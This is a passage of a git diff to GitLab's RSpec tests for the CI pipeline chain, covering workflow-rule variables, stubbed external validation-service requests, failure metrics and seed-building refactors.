@@ -55,6 +63,10 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::EvaluateWorkflowRules do
it 'attaches no errors' do
expect(pipeline.errors).to be_empty
end
+
+ it 'saves workflow_rules_result' do
+ expect(command.workflow_rules_result.variables).to eq({ 'VAR1' => 'val2' })
+ end
end
end
end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/helpers_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/helpers_spec.rb
new file mode 100644
index 00000000000..72a5bf8d011
--- /dev/null
+++ b/spec/lib/gitlab/ci/pipeline/chain/helpers_spec.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Pipeline::Chain::Helpers do
+ let(:helper_class) do
+ Class.new do
+ include Gitlab::Ci::Pipeline::Chain::Helpers
+
+ attr_accessor :pipeline, :command
+
+ def initialize(pipeline, command)
+ self.pipeline = pipeline
+ self.command = command
+ end
+ end
+ end
+
+ subject(:helper) { helper_class.new(pipeline, command) }
+
+ let(:pipeline) { build(:ci_empty_pipeline) }
+ let(:command) { double(save_incompleted: true) }
+ let(:message) { 'message' }
+
+ describe '.error' do
+ shared_examples 'error function' do
+ specify do
+ expect(pipeline).to receive(:drop!).with(drop_reason).and_call_original
+ expect(pipeline).to receive(:add_error_message).with(message).and_call_original
+ expect(pipeline).to receive(:ensure_project_iid!).twice.and_call_original
+
+ subject.error(message, config_error: config_error, drop_reason: drop_reason)
+
+ expect(pipeline.yaml_errors).to eq(yaml_error)
+ expect(pipeline.errors[:base]).to include(message)
+ end
+ end
+
+ context 'when given a drop reason' do
+ context 'when config error is true' do
+ context 'sets the yaml error and overrides the drop reason' do
+ let(:drop_reason) { :config_error }
+ let(:config_error) { true }
+ let(:yaml_error) { message }
+
+ it_behaves_like "error function"
+ end
+ end
+
+ context 'when config error is false' do
+ context 'does not set the yaml error or override the drop reason' do
+ let(:drop_reason) { :size_limit_exceeded }
+ let(:config_error) { false }
+ let(:yaml_error) { nil }
+
+ it_behaves_like "error function"
+ end
+ end
+ end
+
+ context 'when the ci_pipeline_ensure_iid_on_drop feature flag is false' do
+ it 'does not ensure the project iid' do
+ stub_feature_flags(ci_pipeline_ensure_iid_on_drop: false)
+ expect(pipeline).to receive(:ensure_project_iid!).once
+
+ subject.error(message, config_error: true)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/limit/deployments_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/limit/deployments_spec.rb
index 78363be7f36..23cdec61bb3 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/limit/deployments_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/limit/deployments_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe ::Gitlab::Ci::Pipeline::Chain::Limit::Deployments do
let(:save_incompleted) { false }
let(:command) do
- double(:command,
+ Gitlab::Ci::Pipeline::Chain::Command.new(
project: project,
pipeline_seed: pipeline_seed,
save_incompleted: save_incompleted
@@ -49,6 +49,11 @@ RSpec.describe ::Gitlab::Ci::Pipeline::Chain::Limit::Deployments do
expect(pipeline.deployments_limit_exceeded?).to be true
end
+
+ it 'calls increment_pipeline_failure_reason_counter' do
+ counter = Gitlab::Metrics.counter(:gitlab_ci_pipeline_failure_reasons, 'desc')
+ expect { perform }.to change { counter.get(reason: 'deployments_limit_exceeded') }.by(1)
+ end
end
context 'when not saving incomplete pipelines' do
@@ -71,6 +76,12 @@ RSpec.describe ::Gitlab::Ci::Pipeline::Chain::Limit::Deployments do
expect(pipeline.errors.messages).to include(base: ['Pipeline has too many deployments! Requested 2, but the limit is 1.'])
end
+
+ it 'increments the error metric' do
+ expect(command).to receive(:increment_pipeline_failure_reason_counter).with(:deployments_limit_exceeded)
+
+ perform
+ end
end
it 'logs the error' do
diff --git a/spec/lib/gitlab/ci/pipeline/chain/pipeline/process_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/pipeline/process_spec.rb
new file mode 100644
index 00000000000..3885cea2d1b
--- /dev/null
+++ b/spec/lib/gitlab/ci/pipeline/chain/pipeline/process_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Pipeline::Chain::Pipeline::Process do
+ let_it_be(:project) { build(:project) }
+ let_it_be(:user) { build(:user) }
+ let_it_be(:pipeline) { build(:ci_pipeline, project: project, id: 42) }
+
+ let_it_be(:command) do
+ Gitlab::Ci::Pipeline::Chain::Command.new(project: project, current_user: user)
+ end
+
+ let(:step) { described_class.new(pipeline, command) }
+
+ describe '#perform!' do
+ subject(:perform) { step.perform! }
+
+ it 'schedules a job to process the pipeline' do
+ expect(Ci::InitialPipelineProcessWorker)
+ .to receive(:perform_async)
+ .with(42)
+
+ perform
+ end
+ end
+
+ describe '#break?' do
+ it { expect(step.break?).to be_falsey }
+ end
+end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/populate_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/populate_spec.rb
index 5506b079d0f..62de4d2e96d 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/populate_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/populate_spec.rb
@@ -22,6 +22,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Populate do
[
Gitlab::Ci::Pipeline::Chain::Config::Content.new(pipeline, command),
Gitlab::Ci::Pipeline::Chain::Config::Process.new(pipeline, command),
+ Gitlab::Ci::Pipeline::Chain::EvaluateWorkflowRules.new(pipeline, command),
Gitlab::Ci::Pipeline::Chain::SeedBlock.new(pipeline, command),
Gitlab::Ci::Pipeline::Chain::Seed.new(pipeline, command)
]
@@ -95,6 +96,11 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Populate do
it 'wastes pipeline iid' do
expect(InternalId.ci_pipelines.where(project_id: project.id).last.last_value).to be > 0
end
+
+ it 'increments the error metric' do
+ counter = Gitlab::Metrics.counter(:gitlab_ci_pipeline_failure_reasons, 'desc')
+ expect { run_chain }.to change { counter.get(reason: 'unknown_failure') }.by(1)
+ end
end
describe 'pipeline protect' do
diff --git a/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb
index 80013cab6ee..264076859cb 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb
@@ -3,24 +3,16 @@
require 'spec_helper'
RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
- let(:project) { create(:project, :repository) }
- let(:user) { create(:user, developer_projects: [project]) }
- let(:seeds_block) { }
-
- let(:command) do
- Gitlab::Ci::Pipeline::Chain::Command.new(
- project: project,
- current_user: user,
- origin_ref: 'master',
- seeds_block: seeds_block)
- end
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user, developer_projects: [project]) }
+ let(:seeds_block) { }
+ let(:command) { initialize_command }
let(:pipeline) { build(:ci_pipeline, project: project) }
describe '#perform!' do
before do
stub_ci_pipeline_yaml_file(YAML.dump(config))
- run_chain
end
let(:config) do
@@ -28,23 +20,25 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
end
subject(:run_chain) do
- [
- Gitlab::Ci::Pipeline::Chain::Config::Content.new(pipeline, command),
- Gitlab::Ci::Pipeline::Chain::Config::Process.new(pipeline, command)
- ].map(&:perform!)
-
- described_class.new(pipeline, command).perform!
+ run_previous_chain(pipeline, command)
+ perform_seed(pipeline, command)
end
it 'allocates next IID' do
+ run_chain
+
expect(pipeline.iid).to be_present
end
it 'ensures ci_ref' do
+ run_chain
+
expect(pipeline.ci_ref).to be_present
end
it 'sets the seeds in the command object' do
+ run_chain
+
expect(command.pipeline_seed).to be_a(Gitlab::Ci::Pipeline::Seed::Pipeline)
expect(command.pipeline_seed.size).to eq 1
end
@@ -59,6 +53,8 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
end
it 'correctly fabricates stages and builds' do
+ run_chain
+
seed = command.pipeline_seed
expect(seed.stages.size).to eq 2
@@ -84,6 +80,8 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
end
it 'returns pipeline seed with jobs only assigned to master' do
+ run_chain
+
seed = command.pipeline_seed
expect(seed.size).to eq 1
@@ -103,6 +101,8 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
end
it 'returns pipeline seed with jobs only assigned to schedules' do
+ run_chain
+
seed = command.pipeline_seed
expect(seed.size).to eq 1
@@ -130,6 +130,8 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
let(:pipeline) { build(:ci_pipeline, project: project) }
it 'returns seeds for kubernetes dependent job' do
+ run_chain
+
seed = command.pipeline_seed
expect(seed.size).to eq 2
@@ -141,6 +143,8 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
context 'when kubernetes is not active' do
it 'does not return seeds for kubernetes dependent job' do
+ run_chain
+
seed = command.pipeline_seed
expect(seed.size).to eq 1
@@ -158,6 +162,8 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
end
it 'returns stage seeds only when variables expression is truthy' do
+ run_chain
+
seed = command.pipeline_seed
expect(seed.size).to eq 1
@@ -171,8 +177,125 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Seed do
end
it 'does not execute the block' do
+ run_chain
+
expect(pipeline.variables.size).to eq(0)
end
end
+
+ describe '#root_variables' do
+ let(:config) do
+ {
+ variables: { VAR1: 'var 1' },
+ workflow: {
+ rules: [{ if: '$CI_PIPELINE_SOURCE',
+ variables: { VAR1: 'overridden var 1' } },
+ { when: 'always' }]
+ },
+ rspec: { script: 'rake' }
+ }
+ end
+
+ let(:rspec_variables) { command.pipeline_seed.stages[0].statuses[0].variables.to_hash }
+
+ it 'sends root variable with overridden by rules' do
+ run_chain
+
+ expect(rspec_variables['VAR1']).to eq('overridden var 1')
+ end
+
+ context 'when the FF ci_workflow_rules_variables is disabled' do
+ before do
+ stub_feature_flags(ci_workflow_rules_variables: false)
+ end
+
+ it 'sends root variable' do
+ run_chain
+
+ expect(rspec_variables['VAR1']).to eq('var 1')
+ end
+ end
+ end
+
+ context 'N+1 queries' do
+ it 'avoids N+1 queries when calculating variables of jobs' do
+ pipeline1, command1 = prepare_pipeline1
+ pipeline2, command2 = prepare_pipeline2
+
+ control = ActiveRecord::QueryRecorder.new do
+ perform_seed(pipeline1, command1)
+ end
+
+ expect { perform_seed(pipeline2, command2) }.not_to exceed_query_limit(
+ control.count + expected_extra_queries
+ )
+ end
+
+ private
+
+ def prepare_pipeline1
+ config1 = { build: { stage: 'build', script: 'build' } }
+ stub_ci_pipeline_yaml_file(YAML.dump(config1))
+ pipeline1 = build(:ci_pipeline, project: project)
+ command1 = initialize_command
+
+ run_previous_chain(pipeline1, command1)
+
+ [pipeline1, command1]
+ end
+
+ def prepare_pipeline2
+ config2 = { build1: { stage: 'build', script: 'build1' },
+ build2: { stage: 'build', script: 'build2' },
+ test: { stage: 'build', script: 'test' } }
+ stub_ci_pipeline_yaml_file(YAML.dump(config2))
+ pipeline2 = build(:ci_pipeline, project: project)
+ command2 = initialize_command
+
+ run_previous_chain(pipeline2, command2)
+
+ [pipeline2, command2]
+ end
+
+ def expected_extra_queries
+ extra_jobs = 2
+ non_handled_sql_queries = 3
+
+ # 1. Ci::Build Load () SELECT "ci_builds".* FROM "ci_builds"
+ # WHERE "ci_builds"."type" = 'Ci::Build'
+ # AND "ci_builds"."commit_id" IS NULL
+ # AND ("ci_builds"."retried" = FALSE OR "ci_builds"."retried" IS NULL)
+ # AND (stage_idx < 1)
+ # 2. Ci::InstanceVariable Load => `Ci::InstanceVariable#cached_data` => already cached with `fetch_memory_cache`
+ # 3. Ci::Variable Load => `Project#ci_variables_for` => already cached with `Gitlab::SafeRequestStore`
+
+ extra_jobs * non_handled_sql_queries
+ end
+ end
+
+ private
+
+ def run_previous_chain(pipeline, command)
+ [
+ Gitlab::Ci::Pipeline::Chain::Config::Content.new(pipeline, command),
+ Gitlab::Ci::Pipeline::Chain::Config::Process.new(pipeline, command),
+ Gitlab::Ci::Pipeline::Chain::EvaluateWorkflowRules.new(pipeline, command)
+ ].map(&:perform!)
+ end
+
+ def perform_seed(pipeline, command)
+ described_class.new(pipeline, command).perform!
+ end
+ end
+
+ private
+
+ def initialize_command
+ Gitlab::Ci::Pipeline::Chain::Command.new(
+ project: project,
+ current_user: user,
+ origin_ref: 'master',
+ seeds_block: seeds_block
+ )
end
end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
index e55281f9705..caf3a053c4e 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
@@ -3,8 +3,8 @@
require 'spec_helper'
RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
- let(:project) { create(:project) }
- let(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
let(:pipeline) { build(:ci_empty_pipeline, user: user, project: project) }
let!(:step) { described_class.new(pipeline, command) }
@@ -42,6 +42,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
end
let(:save_incompleted) { true }
+ let(:dot_com) { true }
let(:command) do
Gitlab::Ci::Pipeline::Chain::Command.new(
project: project, current_user: user, yaml_processor_result: yaml_processor_result, save_incompleted: save_incompleted
@@ -51,11 +52,79 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
describe '#perform!' do
subject(:perform!) { step.perform! }
- context 'when validation returns true' do
+ let(:validation_service_url) { 'https://validation-service.external/' }
+
+ before do
+ stub_env('EXTERNAL_VALIDATION_SERVICE_URL', validation_service_url)
+ allow(Gitlab).to receive(:com?).and_return(dot_com)
+ allow(Labkit::Correlation::CorrelationId).to receive(:current_id).and_return('correlation-id')
+ end
+
+ context 'with configuration values in ApplicationSetting' do
+ let(:alternate_validation_service_url) { 'https://alternate-validation-service.external/' }
+ let(:validation_service_token) { 'SECURE_TOKEN' }
+ let(:shorter_timeout) { described_class::DEFAULT_VALIDATION_REQUEST_TIMEOUT - 1 }
+
before do
- allow(step).to receive(:validate_external).and_return(true)
+ stub_env('EXTERNAL_VALIDATION_SERVICE_TOKEN', 'TOKEN_IN_ENV')
+ allow(Gitlab::CurrentSettings.current_application_settings).to receive(:external_pipeline_validation_service_timeout).and_return(shorter_timeout)
+ allow(Gitlab::CurrentSettings.current_application_settings).to receive(:external_pipeline_validation_service_token).and_return(validation_service_token)
+ allow(Gitlab::CurrentSettings.current_application_settings).to receive(:external_pipeline_validation_service_url).and_return(alternate_validation_service_url)
+ end
+
+ it 'uses those values rather than env vars or defaults' do
+ expect(::Gitlab::HTTP).to receive(:post) do |url, params|
+ expect(url).to eq(alternate_validation_service_url)
+ expect(params[:timeout]).to eq(shorter_timeout)
+ expect(params[:headers]).to include('X-Gitlab-Token' => validation_service_token)
+ expect(params[:timeout]).to eq(shorter_timeout)
+ end
+
+ perform!
+ end
+ end
+
+ it 'respects the defined payload schema' do
+ expect(::Gitlab::HTTP).to receive(:post) do |_url, params|
+ expect(params[:body]).to match_schema('/external_validation')
+ expect(params[:timeout]).to eq(described_class::DEFAULT_VALIDATION_REQUEST_TIMEOUT)
+ expect(params[:headers]).to eq({ 'X-Gitlab-Correlation-id' => 'correlation-id' })
+ end
+
+ perform!
+ end
+
+ context 'with EXTERNAL_VALIDATION_SERVICE_TIMEOUT defined' do
+ before do
+ stub_env('EXTERNAL_VALIDATION_SERVICE_TIMEOUT', validation_service_timeout)
+ end
+
+ context 'with valid value' do
+ let(:validation_service_timeout) { '1' }
+
+ it 'uses defined timeout' do
+ expect(::Gitlab::HTTP).to receive(:post) do |_url, params|
+ expect(params[:timeout]).to eq(1)
+ end
+
+ perform!
+ end
+ end
+
+ context 'with invalid value' do
+ let(:validation_service_timeout) { '??' }
+
+ it 'uses default timeout' do
+ expect(::Gitlab::HTTP).to receive(:post) do |_url, params|
+ expect(params[:timeout]).to eq(described_class::DEFAULT_VALIDATION_REQUEST_TIMEOUT)
+ end
+
+ perform!
+ end
end
+ end
+ shared_examples 'successful external authorization' do
it 'does not drop the pipeline' do
perform!
@@ -76,9 +145,117 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
end
end
- context 'when validation return false' do
+ context 'when EXTERNAL_VALIDATION_SERVICE_TOKEN is set' do
+ before do
+ stub_env('EXTERNAL_VALIDATION_SERVICE_TOKEN', '123')
+ end
+
+ it 'passes token in X-Gitlab-Token header' do
+ expect(::Gitlab::HTTP).to receive(:post) do |_url, params|
+ expect(params[:headers]).to include({ 'X-Gitlab-Token' => '123' })
+ end
+
+ perform!
+ end
+ end
+
+ context 'when validation returns 200 OK' do
+ before do
+ stub_request(:post, validation_service_url).to_return(status: 200, body: "{}")
+ end
+
+ it_behaves_like 'successful external authorization'
+ end
+
+ context 'when validation returns 404 Not Found' do
before do
- allow(step).to receive(:validate_external).and_return(false)
+ stub_request(:post, validation_service_url).to_return(status: 404, body: "{}")
+ end
+
+ it_behaves_like 'successful external authorization'
+ end
+
+ context 'when validation returns 500 Internal Server Error' do
+ before do
+ stub_request(:post, validation_service_url).to_return(status: 500, body: "{}")
+ end
+
+ it_behaves_like 'successful external authorization'
+ end
+
+ context 'when validation raises exceptions' do
+ before do
+ stub_request(:post, validation_service_url).to_raise(Net::OpenTimeout)
+ end
+
+ it_behaves_like 'successful external authorization'
+
+ it 'logs exceptions' do
+ expect(Gitlab::ErrorTracking).to receive(:track_exception)
+ .with(instance_of(Net::OpenTimeout), { project_id: project.id })
+
+ perform!
+ end
+ end
+
+ context 'when the feature flag is disabled' do
+ before do
+ stub_feature_flags(ci_external_validation_service: false)
+ stub_request(:post, validation_service_url)
+ end
+
+ it 'does not drop the pipeline' do
+ perform!
+
+ expect(pipeline.status).not_to eq('failed')
+ expect(pipeline.errors).to be_empty
+ end
+
+ it 'does not break the chain' do
+ perform!
+
+ expect(step.break?).to be false
+ end
+
+ it 'does not make requests' do
+ perform!
+
+ expect(WebMock).not_to have_requested(:post, validation_service_url)
+ end
+ end
+
+ context 'when not on .com' do
+ let(:dot_com) { false }
+
+ before do
+ stub_feature_flags(ci_external_validation_service: false)
+ stub_request(:post, validation_service_url).to_return(status: 404, body: "{}")
+ end
+
+ it 'drops the pipeline' do
+ perform!
+
+ expect(pipeline.status).to eq('failed')
+ expect(pipeline).to be_persisted
+ expect(pipeline.errors.to_a).to include('External validation failed')
+ end
+
+ it 'breaks the chain' do
+ perform!
+
+ expect(step.break?).to be true
+ end
+
+ it 'logs the authorization' do
+ expect(Gitlab::AppLogger).to receive(:info).with(message: 'Pipeline not authorized', project_id: project.id, user_id: user.id)
+
+ perform!
+ end
+ end
+
+ context 'when validation returns 406 Not Acceptable' do
+ before do
+ stub_request(:post, validation_service_url).to_return(status: 406, body: "{}")
end
it 'drops the pipeline' do
@@ -126,16 +303,4 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
end
end
end
-
- describe '#validation_service_payload' do
- subject(:validation_service_payload) { step.send(:validation_service_payload, pipeline, command.yaml_processor_result.stages_attributes) }
-
- it 'respects the defined schema' do
- expect(validation_service_payload).to match_schema('/external_validation')
- end
-
- it 'does not fire sql queries' do
- expect { validation_service_payload }.not_to exceed_query_limit(1)
- end
- end
end
diff --git a/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
index 7ec6949f852..f97935feb86 100644
--- a/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
@@ -6,10 +6,12 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:head_sha) { project.repository.head_commit.id }
let(:pipeline) { build(:ci_empty_pipeline, project: project, sha: head_sha) }
+ let(:root_variables) { [] }
+ let(:seed_context) { double(pipeline: pipeline, root_variables: root_variables) }
let(:attributes) { { name: 'rspec', ref: 'master', scheduling_type: :stage } }
let(:previous_stages) { [] }
- let(:seed_build) { described_class.new(pipeline, attributes, previous_stages) }
+ let(:seed_build) { described_class.new(seed_context, attributes, previous_stages) }
describe '#attributes' do
subject { seed_build.attributes }
@@ -75,8 +77,8 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
let(:attributes) do
{ name: 'rspec',
ref: 'master',
- yaml_variables: [{ key: 'VAR1', value: 'var 1', public: true },
- { key: 'VAR2', value: 'var 2', public: true }],
+ job_variables: [{ key: 'VAR1', value: 'var 1', public: true },
+ { key: 'VAR2', value: 'var 2', public: true }],
rules: [{ if: '$VAR == null', variables: { VAR1: 'new var 1', VAR3: 'var 3' } }] }
end
@@ -301,6 +303,133 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
it { is_expected.to match a_hash_including(options: { allow_failure_criteria: nil }) }
end
end
+
+ context 'with workflow:rules:[variables:]' do
+ let(:attributes) do
+ { name: 'rspec',
+ ref: 'master',
+ yaml_variables: [{ key: 'VAR2', value: 'var 2', public: true },
+ { key: 'VAR3', value: 'var 3', public: true }],
+ job_variables: [{ key: 'VAR2', value: 'var 2', public: true },
+ { key: 'VAR3', value: 'var 3', public: true }],
+ root_variables_inheritance: root_variables_inheritance }
+ end
+
+ context 'when the pipeline has variables' do
+ let(:root_variables) do
+ [{ key: 'VAR1', value: 'var overridden pipeline 1', public: true },
+ { key: 'VAR2', value: 'var pipeline 2', public: true },
+ { key: 'VAR3', value: 'var pipeline 3', public: true },
+ { key: 'VAR4', value: 'new var pipeline 4', public: true }]
+ end
+
+ context 'when root_variables_inheritance is true' do
+ let(:root_variables_inheritance) { true }
+
+ it 'returns calculated yaml variables' do
+ expect(subject[:yaml_variables]).to match_array(
+ [{ key: 'VAR1', value: 'var overridden pipeline 1', public: true },
+ { key: 'VAR2', value: 'var 2', public: true },
+ { key: 'VAR3', value: 'var 3', public: true },
+ { key: 'VAR4', value: 'new var pipeline 4', public: true }]
+ )
+ end
+
+ context 'when FF ci_workflow_rules_variables is disabled' do
+ before do
+ stub_feature_flags(ci_workflow_rules_variables: false)
+ end
+
+ it 'returns existing yaml variables' do
+ expect(subject[:yaml_variables]).to match_array(
+ [{ key: 'VAR2', value: 'var 2', public: true },
+ { key: 'VAR3', value: 'var 3', public: true }]
+ )
+ end
+ end
+ end
+
+ context 'when root_variables_inheritance is false' do
+ let(:root_variables_inheritance) { false }
+
+ it 'returns job variables' do
+ expect(subject[:yaml_variables]).to match_array(
+ [{ key: 'VAR2', value: 'var 2', public: true },
+ { key: 'VAR3', value: 'var 3', public: true }]
+ )
+ end
+ end
+
+ context 'when root_variables_inheritance is an array' do
+ let(:root_variables_inheritance) { %w(VAR1 VAR2 VAR3) }
+
+ it 'returns calculated yaml variables' do
+ expect(subject[:yaml_variables]).to match_array(
+ [{ key: 'VAR1', value: 'var overridden pipeline 1', public: true },
+ { key: 'VAR2', value: 'var 2', public: true },
+ { key: 'VAR3', value: 'var 3', public: true }]
+ )
+ end
+ end
+ end
+
+ context 'when the pipeline has not a variable' do
+ let(:root_variables_inheritance) { true }
+
+ it 'returns seed yaml variables' do
+ expect(subject[:yaml_variables]).to match_array(
+ [{ key: 'VAR2', value: 'var 2', public: true },
+ { key: 'VAR3', value: 'var 3', public: true }])
+ end
+ end
+ end
+
+ context 'when the job rule depends on variables' do
+ let(:attributes) do
+ { name: 'rspec',
+ ref: 'master',
+ yaml_variables: [{ key: 'VAR1', value: 'var 1', public: true }],
+ job_variables: [{ key: 'VAR1', value: 'var 1', public: true }],
+ root_variables_inheritance: root_variables_inheritance,
+ rules: rules }
+ end
+
+ let(:root_variables_inheritance) { true }
+
+ context 'when the rules use job variables' do
+ let(:rules) do
+ [{ if: '$VAR1 == "var 1"', variables: { VAR1: 'overridden var 1', VAR2: 'new var 2' } }]
+ end
+
+ it 'recalculates the variables' do
+ expect(subject[:yaml_variables]).to contain_exactly({ key: 'VAR1', value: 'overridden var 1', public: true },
+ { key: 'VAR2', value: 'new var 2', public: true })
+ end
+ end
+
+ context 'when the rules use root variables' do
+ let(:root_variables) do
+ [{ key: 'VAR2', value: 'var pipeline 2', public: true }]
+ end
+
+ let(:rules) do
+ [{ if: '$VAR2 == "var pipeline 2"', variables: { VAR1: 'overridden var 1', VAR2: 'overridden var 2' } }]
+ end
+
+ it 'recalculates the variables' do
+ expect(subject[:yaml_variables]).to contain_exactly({ key: 'VAR1', value: 'overridden var 1', public: true },
+ { key: 'VAR2', value: 'overridden var 2', public: true })
+ end
+
+ context 'when the root_variables_inheritance is false' do
+ let(:root_variables_inheritance) { false }
+
+ it 'does not recalculate the variables' do
+ expect(subject[:yaml_variables]).to contain_exactly({ key: 'VAR1', value: 'var 1', public: true })
+ end
+ end
+ end
+ end
end
describe '#bridge?' do
@@ -377,7 +506,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
it 'does not have environment' do
expect(subject).not_to be_has_environment
expect(subject.environment).to be_nil
- expect(subject.metadata).to be_nil
+ expect(subject.metadata&.expanded_environment_name).to be_nil
expect(Environment.exists?(name: expected_environment_name)).to eq(false)
end
end
@@ -1080,7 +1209,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
end
let(:stage_seed) do
- Gitlab::Ci::Pipeline::Seed::Stage.new(pipeline, stage_attributes, [])
+ Gitlab::Ci::Pipeline::Seed::Stage.new(seed_context, stage_attributes, [])
end
let(:previous_stages) { [stage_seed] }
diff --git a/spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb
index 860b07647bd..21be8660def 100644
--- a/spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/seed/pipeline_spec.rb
@@ -6,6 +6,8 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Pipeline do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:pipeline) { create(:ci_pipeline, project: project) }
+ let(:seed_context) { double(pipeline: pipeline, root_variables: []) }
+
let(:stages_attributes) do
[
{
@@ -29,7 +31,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Pipeline do
end
subject(:seed) do
- described_class.new(pipeline, stages_attributes)
+ described_class.new(seed_context, stages_attributes)
end
describe '#stages' do
diff --git a/spec/lib/gitlab/ci/pipeline/seed/stage_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/stage_spec.rb
index 4b9db9fa6c6..5b04d2abd88 100644
--- a/spec/lib/gitlab/ci/pipeline/seed/stage_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/seed/stage_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Stage do
let(:project) { create(:project, :repository) }
let(:pipeline) { create(:ci_empty_pipeline, project: project) }
let(:previous_stages) { [] }
+ let(:seed_context) { double(pipeline: pipeline, root_variables: []) }
let(:attributes) do
{ name: 'test',
@@ -16,7 +17,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Stage do
end
subject do
- described_class.new(pipeline, attributes, previous_stages)
+ described_class.new(seed_context, attributes, previous_stages)
end
describe '#size' do
diff --git a/spec/lib/gitlab/ci/reports/codequality_reports_comparer_spec.rb b/spec/lib/gitlab/ci/reports/codequality_reports_comparer_spec.rb
index b322e55cb5a..8378d096fcf 100644
--- a/spec/lib/gitlab/ci/reports/codequality_reports_comparer_spec.rb
+++ b/spec/lib/gitlab/ci/reports/codequality_reports_comparer_spec.rb
@@ -6,15 +6,17 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
let(:comparer) { described_class.new(base_report, head_report) }
let(:base_report) { Gitlab::Ci::Reports::CodequalityReports.new }
let(:head_report) { Gitlab::Ci::Reports::CodequalityReports.new }
- let(:degradation_1) { build(:codequality_degradation_1) }
- let(:degradation_2) { build(:codequality_degradation_2) }
+ let(:major_degradation) { build(:codequality_degradation, :major) }
+ let(:minor_degradation) { build(:codequality_degradation, :major) }
+ let(:critical_degradation) { build(:codequality_degradation, :critical) }
+ let(:blocker_degradation) { build(:codequality_degradation, :blocker) }
describe '#status' do
subject(:report_status) { comparer.status }
context 'when head report has an error' do
before do
- head_report.add_degradation(degradation_1)
+ head_report.add_degradation(major_degradation)
end
it 'returns status failed' do
@@ -50,7 +52,7 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when head report has an error' do
before do
- head_report.add_degradation(degradation_1)
+ head_report.add_degradation(major_degradation)
end
it 'returns the number of new errors' do
@@ -70,8 +72,8 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report has an error and head has a different error' do
before do
- base_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_2)
+ base_report.add_degradation(major_degradation)
+ head_report.add_degradation(minor_degradation)
end
it 'counts the base report error as resolved' do
@@ -81,7 +83,7 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report has errors head has no errors' do
before do
- base_report.add_degradation(degradation_1)
+ base_report.add_degradation(major_degradation)
end
it 'counts the base report errors as resolved' do
@@ -91,8 +93,8 @@ RSpec.describe Gitlab::Ci::Reports::CodequalityReportsComparer do
context 'when base report has errors and head has the same error' do
before do
- base_report.add_degradation(degradation_1)
- head_report.add_degradation(degradation_1)
+ base_report.add_degradation(major_degradation)
+ head_report.add_degradation(major_degradation)
end
it 'returns zero' do
